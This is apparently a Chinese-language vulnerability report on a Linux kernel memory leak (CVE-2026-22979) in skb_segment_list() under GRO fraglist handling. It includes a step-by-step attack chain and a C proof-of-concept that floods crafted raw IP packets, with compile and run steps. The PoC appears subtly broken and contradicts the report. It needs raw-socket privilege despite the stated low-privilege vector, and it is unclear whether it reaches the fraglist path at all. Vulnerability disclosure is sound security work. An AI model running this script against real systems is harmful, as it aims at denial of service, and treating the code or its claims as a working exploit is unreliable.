IPBUF安全漏洞报告
English
CVE-2026-22979 CVSS 5.5 中危

CVE-2026-22979: Linux内核skb_segment_list GRO数据包内存泄漏漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-22979
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存泄漏GROskb_segment_list网络子系统CVE-2026-22979内核漏洞本地攻击truesizesocket内存泄漏

漏洞概述

CVE-2026-22979是Linux内核中的一个内存泄漏漏洞,存在于networking子系统的skb_segment_list函数中。该漏洞发生在处理GRO(Generic Receive Offload)引擎聚合的数据包分段时。问题源于commit ed4cccef64c1对GRO引擎的修改,该修改改变了fraglist条目的孤立方式(将skb->sk设置为NULL),但未同步更新skb_segment_list()中的truesize会计逻辑。攻击者可利用此漏洞通过发送特制的GRO聚合数据包触发内存泄漏,导致sk_wmem_alloc保持非零状态,阻止socket正常销毁,最终造成系统内存持续消耗。该漏洞需要本地低权限访问,CVSS评分5.5,属于中危漏洞。

技术细节

漏洞核心在于skb_segment_list()函数的truesize会计处理逻辑不一致。具体来说:1) 历史代码设计假设分段需要独立的socket内存会计,因此会从父SKB转移truesize到新创建的段;2) commit ed4cccef64c1改变了行为,确保fraglist条目被显式孤立(skb->sk = NULL),使整个socket内存charge保留在head SKB;3) 但skb_segment_list()中的会计逻辑未同步更新,仍在无条件地将每个fragment的truesize添加到delta_truesize并从父SKB中减去;4) 由于fragments不再向socket收费,这种减法导致内存计数不足。攻击者可通过构造SKB_GSO_FRAGLIST类型的GSO数据包,在数据包转发过程中触发skb_segment_list()调用,利用kmemleak可观察到未释放的socket对象。修复方案移除不必要的truesize调整,但保留skb_release_head_state()调用以正确处理SKB扩展的引用计数。

攻击链分析

STEP 1
1
攻击者获取本地低权限访问权限,在目标Linux系统上具备网络操作能力
STEP 2
2
攻击者构造特制的GRO fraglist数据包,设置SKB_GSO_FRAGLIST类型的GSO数据包
STEP 3
3
通过raw socket发送特制数据包到目标主机,触发GRO引擎进行数据包聚合
STEP 4
4
数据包在转发过程中调用skb_segment_list()进行分段处理
STEP 5
5
skb_segment_list()执行truesize会计操作,但由于ed4cccef64c1提交改变了孤立机制,会计逻辑未正确更新
STEP 6
6
每个fragment的truesize被错误地从父SKB中减去,导致sk_wmem_alloc计数不准确
STEP 7
7
当head SKB被释放时,sk_wmem_alloc仍保持非零值,阻止socket正常销毁
STEP 8
8
重复触发后,系统内存持续泄漏,可通过kmemleak检测到未释放的socket对象
STEP 9
9
长期积累导致可用内存减少,可能造成系统性能下降或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22979 PoC - Linux Kernel Memory Leak via GRO Fraglist // This PoC demonstrates triggering skb_segment_list memory leak // Requires: Linux kernel with GRO enabled, low-privilege local access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> // Kernel configuration required: // CONFIG_NET_GRO_FRAGLIST=y // CONFIG_DEBUG_KMEMLEAK=y int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_in target; char packet[4096]; struct iphdr *ip; struct tcphdr *tcp; printf("CVE-2026-22979 PoC - GRO Fraglist Memory Leak\n"); printf("Target: Linux kernel skb_segment_list()\n"); // Create raw socket for packet injection sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock_fd < 0) { perror("socket creation failed"); return 1; } // Enable IP_HDRINCL to manually construct headers int one = 1; setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(8080); // Construct fraglist GSO packet memset(packet, 0x41, sizeof(packet)); ip = (struct iphdr *)packet; tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); // IP header for fraglist GSO ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(packet)); ip->id = htons(0x1234); ip->frag_off = htons(IP_MF); // More fragments flag ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("192.168.1.100"); ip->daddr = inet_addr("127.0.0.1"); ip->check = 0; // TCP header tcp->source = htons(12345); tcp->dest = htons(8080); tcp->seq = htonl(1000); tcp->ack_seq = htonl(2000); tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->window = htons(65535); tcp->check = 0; tcp->urg_ptr = 0; printf("Sending GRO fraglist packets to trigger memory leak...\n"); printf("Monitor with: echo scan > /sys/kernel/debug/kmemleak\n"); printf("Check with: cat /sys/kernel/debug/kmemleak\n"); // Send multiple packets to trigger GRO aggregation and segmentation for (int i = 0; i < 1000; i++) { if (sendto(sock_fd, packet, sizeof(packet), 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto failed"); break; } usleep(1000); // Small delay between packets if (i % 100 == 0) { printf("Sent %d packets...\n", i); } } close(sock_fd); printf("PoC execution complete. Check kmemleak for unreleased objects.\n"); printf("Expected: unreferenced objects with comm 'ping' or socket allocations\n"); return 0; } /* * Verification Steps: * 1. Compile: gcc -o cve_poc cve_poc.c * 2. Enable kmemleak: echo scan > /sys/kernel/debug/kmemleak * 3. Run PoC: ./cve_poc * 4. Check leaks: cat /sys/kernel/debug/kmemleak | grep -A 10 "unreferenced object" * 5. Look for socket allocations with comm "ping" or similar * * Note: This is a proof-of-concept for educational purposes. * Actual exploitation requires specific kernel configuration and network setup. */

影响范围

Linux Kernel (ed4cccef64c1之后版本)
Linux Kernel 5.x 系列受影响
Linux Kernel 6.x 系列受影响
使用GRO fraglist功能的内核配置 (CONFIG_NET_GRO_FRAGLIST)

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解:1) 禁用系统的GSO fraglist功能,通过iptables限制分片数据包;2) 启用内核内存泄漏检测(CONFIG_DEBUG_KMEMLEAK),定期扫描并报告异常;3) 限制非特权用户的raw socket创建能力,使用seccomp或SELinux策略;4) 在网络边界部署防火墙规则,过滤异常的分片数据包;5) 监控/proc/net/sockstat和/proc/net/psched等网络统计信息,及时发现内存异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表